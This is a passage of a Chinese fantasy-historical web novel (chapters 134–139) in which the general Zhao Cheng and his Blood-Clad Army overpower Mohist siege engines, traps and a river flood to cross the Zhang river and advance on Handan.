他狂奔至城下,亲自打开了城门!
赵诚策马而入。
他的马极为高大,马背比守将脑袋还高,更不要说坐在马背上的高大雄绝之躯。
直面此人,守将终于明白为何韩人闻风丧胆。
那压迫感如巨峰崩塌压倒而来。
仅仅是站在这里,一种身陷虎口般的危机感便疯狂冲击着他的大脑,心中传来警钟长鸣汹涌如潮!
身体不由自主地紧绷到极致,完全无法呼吸。
月光落在那身着大铠的魁躯上,无边阴影笼罩将领,将领看不清那身影,只能听到令人胆寒的声音。
“走漏一丝风声,某就回来屠了这城,明白?”
守将感觉舌头都因为紧张而僵硬,连连道,“明白,明白。”
两万血衣军穿城而过,雷音透天而起,煌煌烈烈,大摇大摆。
满城皆惊。
然而第二日,却没有任何人知道晚上发生了什么事。
所有人讳莫如深,汲县更是闭城三日,任何人都不得出入。
第134章 初战墨家机关术!铁幕地罗之威?
一日之后,黑色洪流般的血衣军已经连续穿过魏国边境的两座重城,直抵邺县城外。
邺县西临太行山余脉,东接平原,是邯郸南部门户。
其所控扼的漳水南岸渡口,是漳水南岸唯一能够支撑大军渡河的据点,也是赵国南方防御核心。
赵军在此经营数十年,城墙高厚,外设三道壕沟,驻军常年保持在三到五万,如今战时,驻军数量只会多,不会少。
秦军若绕行邺县,需从更东的馆陶渡河。
但此处漳水河道狭窄、水流湍急,且赵军在北岸设有烽火台,一旦秦军半渡,赵军可从邺县出兵侧击。
漳水乃是天险,就算血衣军如此精锐,若是制作浮桥强渡,受到突然袭击,也会非常危险。
所以赵诚率兵直冲邺县南门。
邺县南门之外,马蹄声如**响。
见到两万血衣军突兀出现在城外,邺县城墙之上的卫卒们竟然没有太多慌乱,而是严整有序,迅速行动了起来。
“听我号令,所有城**上弦!”
却见着南门城墙之上,竟有无数守城巨**被推到城墙边上,这巨**做工极为精良,而且骨架极大,比韩地的那些城**还要大上两三倍。
每一个巨**上弦,都需要数十人,甚至是上百人一起发力,才能将那**箭压到巨**之内。
吱咯的声音不断响起。
城墙上面的卫卒在极限发力之中,发出滚滚呼喝声。
“散开!”
赵诚令旗一挥,血衣军顿时将阵型分散开来。
然而下一刻,随着轰然震响,那些巨**纷纷发射,如同雷霆炸来,有若天威!
赵诚一马当先,飞身而起,迎向一只巨大**箭。
他单手一接,顿时感觉手臂一沉,整个人竟然不由自主地向后仰了一下。
而后他浑身真元一震,将**箭的势头强行震散,眸中已是有些愕然闪过。
这城**,竟有如此威力?
倒是小觑了机关术。
与此同时,其他巨**已经相继落下。
血衣军各个敏捷如豹,马术超群,在大阵之中不断变换位置,有的人躲过去了,但还有许多人被巨**扫到,横飞出去,受伤不轻。
更有闪躲不及时的,硬接巨箭,顿时被刺穿身体,而后整个身体都被碾断!
赵诚察觉不对,这邺县之中,明显是有所准备。
他真元爆发,甩臂将巨箭倒射回去,炸出雷霆之音。
那巨箭眨眼之间,便以更快的速度,更凶猛的势头,抵达城头,直接将一座巨**撞成粉碎!
而后他跃下马背,倒提大戟,奔行如风,以不可思议的速度奔向城墙。
而城墙之上,一名大袖飘飘的老者突然挥袖。
一桩桩巨箭自动上弦,而后连绵不绝的向着赵诚轰然射去。
赵诚去势不减,一缕缕真元如山般挥洒而出,将无数巨箭接连压成齑粉。
如此一往无前,城头之上的老者脸色终于变了。
“这血屠竟有如此修为!?”
“陈夫子,如何制服这凶人啊?”
守将有些心惊肉跳,原本有墨家夫子来援,还带了墨家制造的城**来守城,他以为就算血屠出现,这城也不会太难守。
哪里想得到,这血屠竟然如此凶悍。
“无妨,吾已经在此处布防多日,那血屠贪图速胜,正中我们的机关陷阱。”
却见他轻喝一声,“铁幕!”
城下突然冒出数十名墨家弟子,这些墨家弟子搭建起“铁幕”盾牌阵,这些盾牌都是墨家精制的精钢盾牌。
盾牌底部装有暗锁,可拼接成整体防御工事。
主角若试图冲撞,铁幕可分散冲击力。
同时盾牌缝隙中伸出带倒钩的短矛,由墨家子弟发力,勾住其铠甲缝隙,限制其移动。
而在布置好了这一切之后,老者又轻喝一声,“地罗!”
城下的地表下方,顿时传来锁链和齿轮旋转的咯咯哒哒的声音。
一个巨大的机关阵渐渐运转了起来,下方有无穷尖刺还是下压,蓄力到了极致。
除此之外,还有各种锁链相互缠绕。
只要赵诚一落入到这个地方,便会立刻下陷,而后被无数锁链缠身。
而只要他挣扎,
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下方上弦蓄力的毒刺就会立刻爆发,一齐冲击灭杀。
就算赵诚没死,想要出来,上方还有墨家弟子机关阵——铁幕压制。
可谓是上天无路入地无门!
老者成竹在胸,“灭杀这血屠,何须我墨家的千机锁龙阵?”
“地罗铁幕,足以杀之!”
在春平君求援请墨家布置千机锁龙阵的同时,他们就预料到,赵诚出现在邯郸之前,一定会先经过这邺城。
而以他的战法来说,绝不会绕行而过,只会直接冲城。
故而在此地当先设置了地罗铁幕。
赵诚遥遥看到城下的铁幕盾牌阵,完全不以为意,几个起落之间,已经抵达近前,体内无尽真元一转,横飞而过。
大戟裹挟无边真元,如山岳压顶般下砸。
众墨家子弟齐齐嘶吼一声,也全部爆发修为,准备分化这一击的力量,同时盾牌下方更有无数短矛勾出。
可当那一戟落下的时候,他们才意识到双方力量的差距。
那根本是无从抵抗的巨力,有若天倾一般。
刚刚落在盾牌上面,后方的墨家弟子就如遭雷击,接连骨断筋折吐血倒飞!
而那墨家精制的精钢盾牌,在赵诚的大戟面前,就像是纸糊的一样,瞬间撕裂。
仅仅只是余威,仍旧让这盾牌铁幕飞快碎裂。
咯嘣的声音不绝于耳,即使有数十面盾牌分化力量,依然承受不住。
只在眨眼之间,盾牌的碎片便崩飞漫天。
后方的墨家子弟就像是炸散的羽毛一般,四处乱飞而去,落在地上生死不知。
更有甚者,在赵诚大戟落下最中央的位置,七八名墨家子弟更是尸骨无存。
被那如山般的真元,直接砸成了肉泥。
一戟之威,恐怖如斯!
“竖子!!”
墨家老者睚眦欲裂,心中更是惊疑不定。
怎会如此!?
墨家铁幕阵,如此不堪一击吗?
而且,他到底是提前知道,还是巧合,竟然直接越过了地罗阵?
正想着,却见赵诚有些好奇地后退了一步,主动踏入了地罗阵。
第135章 墨家造的这东西,质量也不行啊!
咯嘣一声,地面塌陷,赵诚落下。
无数锁链席卷而来,缠绕在他的身体上。
赵诚微微一动,地面上的尖刺瞬间爆发,如同**一般弹射而出,直奔赵诚。
赵诚眉头一挑,“就这?”
下一刻,他丹田之中的真元运转,顺着周天窍穴爆发开来,无数锁链瞬间崩碎,而那些弹射而至的尖刺,甚至还没有能够碰到他的身体,就接连被压碎。
这些精钢尖刺,在他的面前,比木刺还要不如。
实在如同过家家一般,脆弱得紧。
赵诚轻松毁掉地罗阵,再次跃起,站在城下,遥望墨家老者。
“吃了你的**箭和机关,你也来试试我的。”
手中突然出现了射雕神弓,一只穿云箭搭在其上。
赵诚轻松将神弓拉满,锁定了墨家老者。
墨家老者脸色一变,他最是精通各种材料,赵诚手中之弓一看便极为不凡,被此弓锁定,就算是他,也是心中惊恐。
于是他立刻脚尖一点,向后飞掠,借助城墙掩藏自己的身影。
然而这城墙在赵诚的眼中,几乎等同于无。
射雕之力,更不是城墙能够阻挡的。
随着他松开弓弦,一声撕裂长空的鸣啸声响起。
穿云箭瞬间消失在弓身之上,而后没入城墙之中。
墨家老者惊疑不定,身形还在不断变换位置。
可就在他以为自己安全了的时候,脚下城墙之中,一抹寒光穿透而出。
噗嗤一声,穿透了他的咽喉!
墨家老者双眸瞪大,不可思议地摸着自己脖子上的空洞。
那里正有鲜血飞快流出,即使施展真元去压制,也根本压制不住。
穿云箭的威力实在太大,将他咽喉之内的骨骼血肉全部撕毁,绞成一团。
怎么会!?
我躲在城墙后面,位置变换如此之快,他究竟是怎么锁定我的?
此子,到底是哪里跳出来的妖孽!?
他来不及多想,先是挥手,将几道机关打向城中,城中有座巨钟轰然作响。
声音迅速传播到漳水对岸,对岸上的烽火台立刻燃起。
昭示着邺城已危!
而后他翻掌下压,地面上出现了一道字迹。
“立刻激活所有机关,能拖一刻是一刻!”
强撑着做完这两件事,墨家老者已经是倒地而亡。
独留守城将领站在城头冷风之中,浑身冰凉。
下一刻,城下传来轰然巨响,那经过墨家机关术加固的城门,竟然被那凶人一戟劈碎!
守将浑身一个激灵,狂奔至城楼中,改造出来的机关中枢处,激活了所有的机关。
一时之间,城中城外,都有无数机关被激活。
城外更是接连有血衣军中招,接连出现伤亡。
但当将领望向城外,心中还是一片冰凉。
这股军队实在是太精锐了,人人如龙,矫健无比。
墨家制作的机关,十之**都没有起到效果。
而另一边,那煞神更是已经带队冲到了城中。
不论是那凶人,还是他手下的军队,都如入无人之境。
即使是守将手下的精锐,也不是他们一合之敌。
赵诚一马当先,已经冲到了城下大营之中,大戟裹挟真元,横扫千军。
如今修炼了周天星斗纳真诀之后,他的杀敌效率与之前相比,已是天壤之别。
大戟所过之处,前方罡风如网席卷,更似山崩于前,面前数十丈,都是一扫而空。
一时之间,有如飓风过境。
这邺县城中,就好似遭受了什么天灾一般。
到处都是一片狼藉,断壁残垣,满目疮痍。
一条一条的鲜血通道,被大戟甩出的真元罡风横扫出来。
后面的血衣军哪里见过这种阵势,一时之间全都看呆了。
这到底是人力,还是天威?
冯全和封若等人追随赵诚已久,虽然赵诚比之前更加强大,但他们对此也已经见怪不怪。
“将军!将军!慢点杀,给我留几个!”
冯全嗷嗷叫着冲杀,还没杀几个,眼前已经一扫而空。
不由得大为着急。
而守城的士卒们,比他们还要着急,一个个跑的飞快,向着城中四面八方逃窜,连看都不敢去看赵诚一眼。
“快跑!!离那煞神远点!”
“城中有布置好的机关,咱们往那里跑!”
“只要利用好机关,拖住他们,援军很快就到!”
他们逃窜到街头巷尾,想要借助墨家提前布置的机关,来抵御这些如狼似虎的血衣军。
冯全带着人追入巷中,却听咯嘣一声。
抬头一看,高亭之上,由铁链悬挂的巨石轰然砸下。
冯全头皮发麻,他现在也能举起十三石的石锁,但是眼前这巨石可不止十三石,更是从高空落下,势不
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可当。
关键时刻,长期锤炼的强大体魄起了作用。
他浑身力量一爆发,整个人如同猎豹一般窜滚向一旁,看看避开了落下的巨石,崩飞的碎石砸在他的脸上,一阵生疼。
冯全大怒,一冲向前,将那激活机关的士卒枭首!
与此同时,有好几名血衣军不小心踏入了积水暗河机关上,掉落到提前挖好的暗河之中,被暗流冲走了好几个。
这机关术各个诡谲,借助天险或者地利,使寻常士卒也能够与血衣军对抗。
血衣军又是气愤又是憋屈,正面对战,他们一个能杀对方几十个,但是眼下,还没发力却就折损了许多兄弟。
于是愈发小心,杀伐也更加凶狠。
双方在城中巷战,掀起一阵一阵的腥风血雨。
与此同时,诸多小巷之中,还有大量毒雾弥漫开来,惹得血衣军不得不退出小巷,停止追杀。
“该死,这些机关太阴险了,简直防不胜防。”
“又是毒刺,又是暗河,打起来束手束脚,憋屈**,这该如何快速解决他们?”
“要是被他们这样拖下去,恐怕到后天也没法完全解决邺城啊。”
“不解决的话,就没法渡河,万一他们在渡河时动手脚,可就麻烦了!”
血衣军虽然各项战斗素质都极高,但还是第一次打这种到处都是机关的仗。
不得不打起十二分的小心,步步为营,不然一不小心就会着了道。
轻则被重物地刺砸伤刺伤,重则**或者直接被暗流冲走。
气的血衣军锐士破口大骂。
而另一边,赵诚已经提着大戟扫灭了大营之中,和城头之上的卫卒。
见到城中巷战陷入泥潭。
他直接操起射雕来,站在城头之上,弯弓搭箭,心中占星术运转,轻松算出各处机关点位。
而后箭矢如风,不断射出,点破各处机关要害,破碎机关运转。
而后下令,全数剿杀。
血衣军得令,没有任何质疑,开始朝着巷中全面进攻。
这一次,果然不同。
措手不及的人,变成了敌军。
“还敢来,看来是没死过,掉暗河里去吧……吔!?机关怎么失灵了?”
“落石!落!落!落啊!**……啊!”
“糟了!这机关坏掉了,墨家这东西,质量也不行啊!”
“救命!”
“快跑……”
第136章 漳水渡河之危!机关墨鱼泄洪闸!
血衣军本就憋着一口气,如今不需要再忌惮机关,顿时疯狂冲杀。
将邺城守卒杀掉大半。
剩下的守卒亡魂丧胆,竟接连钻到了民宅之中,与平民百姓待在一起。
“两国交战,你们还要**平民百姓不成?”
“不愧是血屠啊,连百姓都杀!”
“你们如此作为,这天下人自有定论,你们将军必被天下唾骂!”
“杀民杀降,天下共诛之!”
如此行为,为的就是借助这些无辜百姓的性命,来给赵诚施加压力。
若是血衣军杀他们,就要误杀无辜百姓,到时候必会激起诸国愤恨,这天下百姓一人一口唾沫,就能淹死他们。
然而他们还是小瞧了血衣军,曾经的铁鹰锐士都能够轻松应对这种情况,何况现在脱胎换骨的血衣军?
“还装,你那胳膊比人家大腿都要粗了,装什么平民百姓?”
冯全一刀就把伪装成百姓的士卒砍了。
其余血衣军也轻松分辨士兵和百姓,而且出手迅捷如电,就算那些士卒和百姓站在一起,也根本来不及躲开他们的攻击,眨眼之间,就被挑出来杀了。
眼见策略阻碍不了血衣军,这些士卒发了疯,竟然开始挟持城中百姓。
“你们若是杀我,我就杀了他们,这些百姓还是因你们而死!”
“到时候城中百姓死伤过半,诸国自然知道,你们这股军队,有屠城之举!”
“劝你们不要靠近,不然我真的动手了。”
血衣军面面相觑,一时间还真有点僵持住了。
冯全将情况说给赵诚,赵诚面色古怪,“赵国士卒用赵国百姓做人质,威胁秦**队?”
“这还用问,杀,连人质一块杀了!”
血衣军得令,再无顾忌,冲上去就是一顿乱砍。
这下,主动给赵国士卒当人质的赵国百姓也是麻了。
纷纷逃窜,再也不给士卒当人质了。
一时间赵国的士卒纷纷坐蜡,打也打不过,跑也跑不掉,只能选择和血衣军拼了。
结果可想而知,不出一刻钟的时间,血衣军便完全解决了战斗。
邺县守卫力量被扫清,赵诚命血衣军在邺县之中补充物资,自己则是站在城墙高处,遥望漳水另一岸。
起心动念,占星推演。
诸天窍穴映照群星运转之间,他已然看到重重凶险。
“还有高手?”
不光是对岸,就连这湍急的漳水之中,也有不小的危机。
看来那墨家老者临死之前激发的那座大钟,有些说法。
……
“报!邺县遭遇敌袭,被攻克了!”
赵国大殿之外,随着急匆匆的脚步声传来,一道噩耗将沉迷于女色的赵王迁惊得掉落床下。
“什么!?”
赵王迁惊怒不已,“王翦等人,不是在上党郡那边强攻吗?”
“不是王翦和蒙武的军队。”
“那是谁的军队?”
“是……是那血屠赵诚,率领血衣军突然出现在邺县之外,不但杀了帮助守城的墨家夫子,还在极短时间内攻下了邺城,现在,怕是快要渡河了。”
“血屠……”赵王迁眼前一黑,差点昏厥过去。
反应过来之后,他立刻喝道,“速速唤相国,不,唤百官前来议事!”
此时他已经是急得五内俱焚,怎么也想不到,之前已经被贬的赵诚,为什么会突然率领血衣军出现在邺县!
那邺县距离邯郸,不过八十余里。
以那血屠的速度来说,攻克了邺县,就等于快要冲到他的王宫了。
眨眼便至!
“怎会如此,怎会如此啊!?”
赵王迁在寝殿之中徘徊踱步,如同热锅上的蚂蚁一般,无比焦急,“那血屠不是被贬了吗?血衣军不是还在咸阳吗?”
“怎会突然出现在邺县!?”
“相国,你务必给寡人一个交代!”
片刻之后,百官都已经齐聚大殿之上,赵王迁十分愤怒,“那血屠怎么会突然出现在邺县,这和你之前说的不一样!”
郭开早有应对之策,“臣有罪,不过臣得到的消息,都来自于姬雪儿啊,那姬雪儿潜伏到了赵诚身边,竟然连如此关键的消息都没有传递过来,显然已经投敌。”
“此事,或许春平君能够给我们一个交代。”
春平君怒目而视,“此计都是相国一手操纵,姬雪儿传递消息,也是和相府传递,从头至尾我都没有参与,为何找我要交代?”
郭开说道,“那姬雪儿正是春平君联络来的,其有叛国之心,隐瞒不报,是春平君失察之罪!”
春平君气的发抖,老子外孙女都搭进去了,现在出了问题还要给你背锅?
简直岂有此理!
眼看赵王迁目光不善,春平君知道现在不是辩驳的时候。
“大王,赵诚此人,残暴狡诈,就算是姬雪儿潜伏在他身边,也有可能会受到他的欺骗,所
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谓自暴自弃,不过是演给别人看的。”
“当务之急,还是要应对这血屠之危啊。”
赵王迁虽然愤怒,但也知道现在不是讨论谁对谁错的时候,于是问道,“那你可有良策?”
春平君说道,“陛下,臣早有准备,臣之前请了墨家高手来布置千机锁龙阵时,曾推演过血屠来攻的路线,在邺县内外,设有诸多布置。”
“邺县之中的布置,只是其中之一,漳水之中,还有诸多机关和埋伏,就算不能使血衣军全军覆没,至少也能够让他们损失惨重!”
“如此一来,等他们抵达邯郸的时候,实力已经十不存一,在千机锁龙阵面前,已经再无威胁。”
赵王迁微微放心了一些,“若是所言为真,便算是将功补过,如若不然,寡人必重罚于你!”
春平君苦笑,却也只能说道,“谢陛下!”
巧言令色之人,权倾朝野,受到重用和赏识。
他这种一心为国的,却反而成了罪人,做了这么多的实事,却也只能算是将功补过。
这让他心中,难免升起丝丝悲凉和愤懑。
……
此时漳水北岸上游,一处相对狭窄却平缓的河道处,一众墨家子弟**在此,一个个眼眶通红。
“陈夫子他,已经遭遇不测了。”
“血屠该死!今日必让他葬身漳水,永世不得超生!”
“师兄,我们何时激发泄洪机关闸?”
“不急,等信号。”
“河底泄水洪闸机关如何了?”
“已经完全打通了,只要那血衣军敢上浮桥,上方泄洪,河底又有疏流漩涡,再有墨鱼斩断浮桥,大军必然全部葬身水底!”
在他们前方的河流之中,正栓有几十条丈余大小的鲟鱼,此鱼体型庞大,体重甚至能够超过五百公斤。
漳水作为华北地区最古老的河流之一,常年流传着水怪传闻,其中的主角,大多都是这种体型巨大的鲟鱼。
而如今这几十条巨大鲟鱼,身上还覆盖着铁质机关,在其背上,有着类似于马鞍一般的座位。
座位链接机关,机关则是覆盖周身上下,墨家弟子会坐在这座位上,通过操纵机关,来操纵巨鱼。
除了操控鲟鱼行动的机关之外,巨鱼的背部和鳍部,都有可弹出的利刃。
可利用极快的游速,来对敌人进行切割。
就算是那浮桥,也可以一冲而斩断。
此机关鱼便被称为墨鱼。
第137章 戟斩巨浪,赵诚倒卷百丈龙!
漳水北岸上空,一枚火箭直冲云霄,一闪而逝。
公输诺见状一挥手。
前方河道处的机关巨闸顿时缓缓上拉,原本平和舒缓的河道,瞬间变成了狂暴咆哮的汹涌怒兽,向着下游狂冲而去。
在洪流之后,几十名墨家子弟坐上了墨鱼,将机关座位牢牢绑定在自己的身上。
而后深吸一口气,控制着墨鱼钻入了水中。
借助洪流的余波,顺游而下,速度飞快!
另一边,赵诚已然率领血衣军强行渡河。
虽然察觉到了凶险,但避其锋芒那是不可能的。
兵来将挡水来土掩罢了。
此处漳水宽百余丈,血衣军化作长长的队伍,行走其上,渐渐行至河道正中。
当全部血衣军全部相继上了浮桥之后。
原本平和的河面逐渐变得汹涌起来,众将领纷纷一惊,渐渐察觉到了不对。
“这水位,怎么突然上涨了这么多?”
“河水湍急起来了!”
“浮桥在颤!”
“你们看那边,上游好像发水了!”
“嘶……那是……”
血衣军全部看向上游方向,一看之下,顿时脸色大变。
只见那河道上方,股股水浪层层叠叠,浩浩荡荡,如山崩,如怒兽一般,咆哮而来。
那浪头之高,已达数丈。
如此势头,简直如同蛟龙如海,搅动风云!
若是冲到近前,别说他们这些浮桥上的兵马了,就连桥恐怕都会被一冲而散!
“这……”
将士们骇然失色。
蒙恬更是急道,“将军,快下令,现在退回去可能还来得及!”
赵诚大戟顿了顿浮桥,声音传遍血衣军,“全军听令,继续前行,吾来斩浪!”
斩浪?
“将军说什么?他要靠自己把这巨浪斩了?”
“不是,我没听错吗?这是天威啊,如何能斩?”
“开玩笑的吧,这种事情只有神仙才有可能做到吧。”
“娘嘞,将军他……踏水而行!?”
“真是神仙哩!!”
众人骇然,不可思议地看着那道身影竟然踏出了浮桥,踏水而去,迎着巨浪向前。
在那汹涌巨大的浪头面前,即使是将军那魁梧挺拔至极的身躯,依然显得如此渺小。
但他就这样冲上去了。
此番气势冲霄,竟与那咆哮巨浪不相上下!
别说他们了,就算是对岸的墨家子弟,以及那修为高深的公输诺,那也是不可思议地看着那道身影迎向巨浪。
“此人修为之高,竟然已经可以踏水而行!”
“不过他这是想做什么?”
“要以一己之力对抗此浪?”
“简直无知,此浪乃是积蓄数天漳水,一朝泄洪而出,人力如何能挡?”
“真是螳臂当车!”
“他未免太自大了,就算有些修为,有如何能够对抗天威?”
“且看他如何被浪头拍死吧!”
“早知这血屠如此无知,何必还动用墨鱼以及河底机关。”
“唉我们如此费心费力打造的河底机关,就这么白白浪费了,还以为那血屠能够有些明智,没想到如此愚蠢!”
公输诺虽然没有说什么,脸上却闪过一丝讥讽。
人啊,贵在有自知之明。
自大之人,不过逞一时之勇罢了。
却说漳水之上。
赵诚体内诸天大窍齐齐震鸣,丹田之中,存蓄的如海真元汹涌而出,顺着周身大窍爆发开来。
真元覆身,犹如烈烈焚天之焰。
大戟上面,更是卷动无边真元,亦是汹涌咆哮,将下方的河水都裹挟而起,顺着大戟席卷如同水龙缠绕。
真元卷动河水,越卷越多,整个大河都好似在颤动,赵诚身后的水位正在下降。
而大戟裹挟牵连的水龙,则是越来越大。
这一幕是如此的震撼,所有血衣军都睁大了眼睛,忘我
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失魂地看着眼前一幕,如见神明!
“这是什么?”
“水龙!?”
“将军真乃神仙下凡!”
而岸边的墨家子弟,更是看傻了眼。
“不是,他真掀起浪头来了!”
“那水龙是什么东西,此人修为已经高到了这种地步了吗?”
“戟掀水龙,难不成他真能斩浪?”
“不可能的,这水龙比之泄洪,差的未免太远了!”
正惊疑不定之间,却见赵诚轻喝一声。
“起!”
赵诚挑起大戟,犹若挑起山岳般缓慢。
隆隆之音震荡。
这大戟上席卷的水龙越来越大,越来越是浩荡。
巨龙渐渐出水,竟也卷动无边巨浪,仿若水造城墙,咆哮着朝上流冲下的巨浪反扑而去!
竟以人力展天威!?
如此一幕,实在是太过震撼,整个血衣军都疯狂了,欢呼嚎叫,激动不已。
“这……这,将军真是仙人!”
“天啊,我何德何能,能够追随将军作战!”
“这真的是人能做到的事吗?”
公输诺整个人都傻了,不是,这究竟是哪里蹦出的妖物?
莫不是蛟龙化形的?
下一刻!
轰!
上流巨狼与大戟挑起的巨浪轰然相撞,发出巨响的同时,无边水花炸开。
更是在两者相撞的中间,激起冲天巨浪,河水震荡不休,声势浩大,好似天灾袭来。
然而赵诚一戟又一戟地扫出,压倒一股一股的余波,水位飞快上涨,但这冲势,只是让浮桥上下起伏,完全没了什么威胁。
但对面巨浪后面,顺游而下的墨鱼队伍可就惨了。
他们这边本来是顺流而下,没有什么危险,但被赵诚这一戟掀出的巨浪对冲,浩荡余波连绵不绝。
就算是丈许长的巨鱼,在这股力量之下,也是渺小至极,当下就被拍翻砸晕,各自不知散落到哪里去了!
第138章 邯郸将克,还贿赂什么郭开?
看着那踏波而行的挺拔魁躯,公输诺心中已经是说不出的骇然。
连天威都能够对抗。
此人如何能当?
河水依然激荡不休,无数浪头扩散开来,那是惊涛裂岸,卷起千堆雪!
整个河道都隐隐传来震荡的声音。
浮桥也是上上下下的起伏着,所有人都是呆呆的看着那道身影,世界观已经完全被颠覆了。
“渡河!”
赵诚踏水而归,感受着体内真元,如此一击不过才消耗了小半,心中顿时更有底气。
这还是他第一次消耗这么多力量出手,感觉很是痛快。
甚至希望对方可以再来一次。
然而一切很安静。
当血衣军快要渡过大半河道的时候,公输诺终于像是反应过来了,立刻下令激活河底机关。
他们耗费许多力量和物资,在这漳水河底,打造了一条泄水通道。
一旦开启,河道正中,便会出现一个巨大的漩涡,将所有尝试过河的人全部吸入暗河之中。
一旦进入暗河,那便是神仙难救。
原本公输诺以为是用不上这道机关了,但是现在却有点怀疑,这机关能否起效。
可不管如何,现在激活这道机关,已经是最后的办法了。
若是再不成,他就要立刻带领其余墨家子弟撤离此处,远离那血屠阎罗。
数名墨家子弟坐上墨鱼,飞快向着河底游去,而后激活了河底机关。
下一刻,无穷水力倒卷而来,如同山岳压下,这几名墨家子弟将早就布置好的机关锁链链接在墨鱼身上。
而后想要借助锁链的拉力飞快逃离。
然而下一刻,浮桥上面的赵诚却开弓搭箭,对准了那几道链接墨家子弟的锁链。
只听咯嘣几声,墨家子弟的救命锁链相继断裂。
他们满脸绝望地被水力压下,而后卷入到了暗河之中。
这也就算了,那赵诚似乎早就知道他们在河底布有机关,甚至连机关的枢纽位置都一清二楚。
他接连开弓搭箭,每一箭力量都大得惊人,直接射入河底机关中枢之中,将枢纽射毁!
原本缓缓拉开的机关闸门,又瞬间弹了回去,重新闭合。
墨家子弟费心费力许久才打造出来的河底机关,最后只埋葬了几名墨家弟子。
而赵诚所率领的血衣军,一点影响都没有受到。
眼见那河面上的漩涡刚刚出现,就被赵诚几箭扼杀。
公输诺是真的绝望了。
“走!立刻走!”
“这血屠太强了,只靠我们是拦不住他的,必须让大师兄出手,利用千机锁龙阵来对付他!”
他转身就跑,然而还没跑出多远,突然感觉一股寒意袭来,如芒在背。
后脖颈甚至传来了刺痛之感。
公输诺大惊失色,手臂向后一挡。
手臂上覆盖的机关瞬间弹出层层盾牌,一层叠着一层,层层都是精钢打造,能够抵得住墨家顶尖连**袭击。
下一刻!
叮!
一枚箭矢几乎是凭空出现般,刺在盾牌上,没有丝毫停顿和阻碍,只一瞬间,就摧枯拉朽射穿了层层盾牌。
而后穿透公输诺的手臂,对着咽喉一穿而过,去势不绝,又贯穿了前方一名墨家子弟的胸口,继而飞快地消失在了天边。
直到此时,那突破音障的爆鸣声,才隐隐传来。
当其余墨家子弟听到这声音的时候,他们的师兄已经倒地暴毙了。
手臂上的盾牌更是出现了一个切口平整的菱形小孔。
“师兄!”
“这……怎么会这样!?”
“有埋伏?”
诸位墨家子弟大惊失色,飞快地警惕周围,然而周围却根本没有任何敌人的身影。
正惊疑不定之间,又有数道箭矢凭空出现,悄无声息地带走一个又一个墨家子弟的生命。
突破音障的爆鸣声不断响起,周围的同门一个个接连倒下。
最后只剩一名墨家弟子,满脸惊恐绝望地看向赵诚渡河的方向。
死亡将至的恐惧飞快蔓延。
僵立许久,却也没有另外一只箭矢袭来了。
但他不敢动,生怕一动,就被那血屠的箭洞穿了咽喉。
同门已经**一地了,死的悄无声息,死的毫无价值也毫无意义。
他不想像这样死掉。
于是就这样僵立着,僵立着……
许久,血衣军已然上岸,赵诚率领大军上前,在与其擦身而过时,淡淡地说了一声,“跟上。”
这名墨家弟子低着头,默默跟在其身后。
赵诚问道,“墨家当代弟子最有天赋者是何人?”
“回将军……是,相里
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勤,他对墨家的各种秘法和机关术都极为精通,年纪轻轻已是修为不凡。”
“传信给他,让他来赵国。”
这名墨家子弟脸上顿时出现挣扎之色。
“不愿意?”
感觉到杀机临身,墨家弟子顿时不再挣扎,“愿意!这就传信!”
他以墨家机关秘法传信,赵诚满意点头,他如今见到墨家机关术的精巧,想要借助墨家机巧,搞点现代的东西出来。
当然,这是后话。
此时,赵诚继续带着血衣军疾驰向前。
如今邺县已破,漳水北岸的赵军防御已呈崩溃态势。
经过长平之战后,赵国兵力本就损失惨重。
剩余兵力多分散在代郡、云中,以防备匈奴。
除此之外在邯郸周边,漳水北岸仅在斥丘、肥乡等地有少量驻军,且无险可守。
这样少的兵力,面对赵诚的血衣军,简直就和不设防没有区别。
赵诚疾驰而至,不费吹灰之力,转瞬便攻下两城。
而后血衣军直指邯郸。
邯郸城中,春平君信誓旦旦地夸下海口。
说能够借助漳水机关,延缓赵诚攻势,让其损失惨重。
才过了不到半日,邯郸城南方,就已经有烽火狼烟接连而起,一路连绵到了邯郸城外。
邯郸城中上下皆是大惊失色。
赵王迁更是怒极,对着春平君好一番斥责,说要治他的罪。
但此时,还需要春平君配合墨家子弟,利用千机锁龙阵对付赵诚,便没有治罪春平君。
到了此时,郭开也有些慌了。
他前不久才搞出了许多诡计对付赵诚,如今那凶神突然到了城外。
届时真成了冤有头债有主,恐怕不会放过自己。
他再也不敢大意,将阴山谍府的高手全部召回,准备配合墨家子弟抵御赵诚。
与此同时,蒙武和王翦的攻势接连被李牧接住。
在一开始的顺利夺下几城之后,战事陷入了焦灼。
王翦向嬴政谏言,说要施展离间计,让顿弱带着重金前往赵国,贿赂郭开,让郭开进献谗言,替换掉李牧。
而蒙武则是向嬴政谏言,复用赵诚,一起攻赵。
嬴政看着两份军报,心头暗笑。
“现在赵诚恐怕都已经快要攻破邯郸了,还贿赂什么郭开啊?”
第139章 木石走路,青铜开口,墨家机关城!
“墨家机关,木石走路。青铜开口,要问公输!”
“此物果真奇玄,若非亲眼所见,真是难以相信世上还有如此机巧之物!”
春平君站在邯郸城下,看着那层层叠叠的机关兵器,和数百墨家子弟镇守的墨家机关大阵,惊叹不已。
此时,邯郸城下,已经不仅仅是普通高厚城墙。
城墙之上,有着无数大型机关兵器,如巨型连**车,其上所设箭矢,足足有近两丈长短,一次能够发射十支巨箭。
除此之外,还有大型燃火投石机。
城墙上面,亦是遍布机关。
城下,更是好似一个小型机关城一般,数百名墨家弟子操控机关中枢,而城中卫卒,则是全部充当机关能源动力。
通过一个个小型齿轮共同发力。
更不要说,地面之下的千机锁龙阵了。
邯郸核心城区位于太行山东麓的冲积平原,地势西高东低,周边被三条主要河流环绕,形成“内有城壕、外有大河”的防御格局。
其中滏阳河更是南城防御的天然屏障,墨家正好依此布设水脉机关,以水力充当千机锁龙阵的核心动力。
威力无穷。
除此之外,还有阴山谍府的无数顶尖萨满高手隐藏在暗中严阵以待。
可谓是布下了天罗地网。
“汝还未见过我墨家的机关墨麟,那才是夺天地造化之物。”
“可惜,那血屠是无缘得见了。”
禽滑厘身材魁梧高大,一身宽松大袍之下,有着无数贴身机关铸就的墨鳞铠甲。
他立在各种奇妙机关铸就的城墙之上,遥望南方,神色肃穆。
赵诚的突进速度远超他的预料。
同时,这种进军速度也意味着在邺县的诸位同门都已经遭遇不测。
这让他悲愤的同时,也更加重视赵诚的实力。
“因为,今日这血屠将葬身于此!”
……
“将军,邯郸城南方向遍布巨型巨关,更有无数陷阱**车密密麻麻,咱们是否避其锋芒,绕行攻占其他方向?”
血衣军急行之中,已有斥候来报。
